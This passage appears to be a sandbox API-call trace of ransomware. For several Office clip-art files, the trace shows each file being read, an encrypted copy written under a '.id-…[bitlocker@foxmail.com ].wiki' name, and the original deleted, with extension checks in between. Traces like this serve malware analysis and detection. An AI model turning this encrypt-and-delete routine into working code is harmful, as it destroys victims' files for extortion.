].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.947] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.947] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.947] GetLastError () returned 0x0 [0190.947] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x6630, lpOverlapped=0x0) returned 1 [0190.973] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6640, lpOverlapped=0x0) returned 1 [0190.975] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.975] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.975] SetEndOfFile (hFile=0x1c8) returned 1 [0190.975] CloseHandle (hObject=0x1c8) returned 1 [0190.975] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.975] SetEndOfFile (hFile=0x1f8) returned 1 [0190.976] CloseHandle (hObject=0x1f8) returned 1 [0190.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0190.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.976] lstrlenW (lpString=".doc") returned 4 [0190.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.976] lstrlenW (lpString=".docx") returned 5 [0190.976] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.977] lstrlenW (lpString=".pdf") returned 4 [0190.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString=".xls") returned 4 [0190.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.977] lstrlenW (lpString=".xlsx") returned 5 [0190.977] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.977] lstrlenW (lpString=".ppt") returned 4 [0190.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.977] lstrlenW (lpString=".zip") returned 4 [0190.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.977] lstrlenW (lpString=".rar") returned 4 [0190.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString=".bz2") returned 4 [0190.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString=".7z") returned 3 [0190.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.977] lstrlenW (lpString=".dbf") returned 4 [0190.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.977] lstrlenW (lpString=".1cd") returned 4 [0190.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.977] lstrlenW (lpString=".jpg") returned 4 [0190.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.977] lstrlenW (lpString=".doc") returned 4 [0190.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.977] lstrlenW (lpString=".docx") returned 5 [0190.977] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.978] lstrlenW (lpString=".pdf") returned 4 [0190.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.978] lstrlenW (lpString=".xls") returned 4 [0190.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.978] lstrlenW (lpString=".xlsx") returned 5 [0190.978] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.978] lstrlenW (lpString=".ppt") returned 4 [0190.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.978] lstrlenW (lpString=".zip") returned 4 [0190.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.978] lstrlenW (lpString=".rar") returned 4 [0190.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.978] lstrlenW (lpString=".bz2") returned 4 [0190.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.978] lstrlenW (lpString=".7z") returned 3 [0190.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.978] lstrlenW (lpString=".dbf") returned 4 [0190.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.978] lstrlenW (lpString=".1cd") returned 4 [0190.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0190.978] lstrlenW (lpString=".jpg") returned 4 [0190.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.979] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.979] lstrlenW (lpString="J0099162.JPG") returned 12 [0190.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.979] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=19656) returned 1 [0190.979] CloseHandle (hObject=0x1f8) returned 1 [0190.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0190.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.982] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.982] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.983] GetLastError () returned 0x0 [0190.983] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0191.001] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4cd0, lpOverlapped=0x0) returned 1 [0191.004] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.004] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.004] SetEndOfFile (hFile=0x1c8) returned 1 [0191.005] CloseHandle (hObject=0x1c8) returned 1 [0191.005] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.005] SetEndOfFile (hFile=0x1f8) returned 1 [0191.005] CloseHandle (hObject=0x1f8) returned 1 [0191.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0191.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.006] lstrlenW (lpString=".doc") returned 4 [0191.006] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.006] lstrlenW (lpString=".docx") returned 5 [0191.006] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0191.006] lstrlenW (lpString=".pdf") returned 4 [0191.006] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.006] lstrlenW (lpString=".xls") returned 4 [0191.006] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.006] lstrlenW (lpString=".xlsx") returned 5 [0191.006] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0191.006] lstrlenW (lpString=".ppt") returned 4 [0191.006] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.006] lstrlenW (lpString=".zip") returned 4 [0191.006] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.006] lstrlenW (lpString=".rar") returned 4 [0191.006] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.006] lstrlenW (lpString=".bz2") returned 4 [0191.006] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.006] lstrlenW (lpString=".7z") returned 3 [0191.006] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.007] lstrlenW (lpString=".dbf") returned 4 [0191.007] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.007] lstrlenW (lpString=".1cd") returned 4 [0191.007] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.007] lstrlenW (lpString=".jpg") returned 4 [0191.007] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.007] lstrlenW (lpString=".doc") returned 4 [0191.007] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.007] lstrlenW (lpString=".docx") returned 5 [0191.007] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0191.007] lstrlenW (lpString=".pdf") returned 4 [0191.007] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.007] lstrlenW (lpString=".xls") returned 4 [0191.007] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.007] lstrlenW (lpString=".xlsx") returned 5 [0191.007] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0191.007] lstrlenW (lpString=".ppt") returned 4 [0191.007] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.007] lstrlenW (lpString=".zip") returned 4 [0191.007] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.007] lstrlenW (lpString=".rar") returned 4 [0191.007] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.007] lstrlenW (lpString=".bz2") returned 4 [0191.007] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.007] lstrlenW (lpString=".7z") returned 3 [0191.007] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.008] lstrlenW (lpString=".dbf") returned 4 [0191.008] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.008] lstrlenW (lpString=".1cd") returned 4 [0191.008] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0191.008] lstrlenW (lpString=".jpg") returned 4 [0191.008] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.008] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.008] lstrlenW (lpString="J0099165.JPG") returned 12 [0191.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.008] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=50490) returned 1 [0191.008] CloseHandle (hObject=0x1f8) returned 1 [0191.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0191.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.158] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.158] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0191.158] GetLastError () returned 0x0 [0191.159] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xc53a, lpOverlapped=0x0) returned 1 [0191.169] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc540, lpOverlapped=0x0) returned 1 [0191.170] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.170] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.171] SetEndOfFile (hFile=0x1c8) returned 1 [0191.171] CloseHandle (hObject=0x1c8) returned 1 [0191.171] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.171] SetEndOfFile (hFile=0x1f8) returned 1 [0191.172] CloseHandle (hObject=0x1f8) returned 1 [0191.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0191.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.172] lstrlenW (lpString=".doc") returned 4 [0191.172] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.172] lstrlenW (lpString=".docx") returned 5 [0191.172] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0191.172] lstrlenW (lpString=".pdf") returned 4 [0191.172] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.172] lstrlenW (lpString=".xls") returned 4 [0191.173] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.173] lstrlenW (lpString=".xlsx") returned 5 [0191.173] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0191.173] lstrlenW (lpString=".ppt") returned 4 [0191.173] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.173] lstrlenW (lpString=".zip") returned 4 [0191.173] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.173] lstrlenW (lpString=".rar") returned 4 [0191.173] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.173] lstrlenW (lpString=".bz2") returned 4 [0191.173] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.173] lstrlenW (lpString=".7z") returned 3 [0191.173] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.173] lstrlenW (lpString=".dbf") returned 4 [0191.173] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.173] lstrlenW (lpString=".1cd") returned 4 [0191.173] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.173] lstrlenW (lpString=".jpg") returned 4 [0191.173] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.173] lstrlenW (lpString=".doc") returned 4 [0191.173] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.173] lstrlenW (lpString=".docx") returned 5 [0191.173] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0191.173] lstrlenW (lpString=".pdf") returned 4 [0191.173] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.173] lstrlenW (lpString=".xls") returned 4 [0191.174] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.174] lstrlenW (lpString=".xlsx") returned 5 [0191.174] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0191.174] lstrlenW (lpString=".ppt") returned 4 [0191.174] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.174] lstrlenW (lpString=".zip") returned 4 [0191.174] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.174] lstrlenW (lpString=".rar") returned 4 [0191.174] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.174] lstrlenW (lpString=".bz2") returned 4 [0191.174] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.174] lstrlenW (lpString=".7z") returned 3 [0191.174] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.174] lstrlenW (lpString=".dbf") returned 4 [0191.174] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.174] lstrlenW (lpString=".1cd") returned 4 [0191.174] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0191.174] lstrlenW (lpString=".jpg") returned 4 [0191.174] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.174] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.174] lstrlenW (lpString="J0099170.WMF") returned 12 [0191.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.175] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=24292) returned 1 [0191.175] CloseHandle (hObject=0x1f8) returned 1 [0191.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0191.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.175] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: 